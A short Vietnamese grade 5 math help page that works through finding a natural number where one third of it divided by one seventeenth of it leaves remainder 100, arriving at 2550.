Tìm một số tự nhiên sao cho khi lấy 1/3 số đó chia cho 1/17 số đó thì có dư là 100

[Hỗ trợ giải Toán lớp 5 trên mạng] – Đề bài: Tìm một số tự nhiên sao cho khi lấy 1/3 số đó chia cho 1/17 số đó thì có dư là 100.

Hướng dẫn giải:

Vì 17 x 3 = 51 nên để dễ lí luận, ta giả sử số tự nhiên cần tìm được chia ra thành 51 phần bằng nhau. Khi ấy 1/3 số đó là 51 : 3 = 17 (phần) ; 1/17 số đó là 51 : 17 = 3 (phần).

Vì 17 : 3 = 5 (dư 2) nên 2 phần của số đó có giá trị là 100 suy ra số đó là :

100 : 2 x 51 = 2550.

Chúc các em học tập tốt 🙂
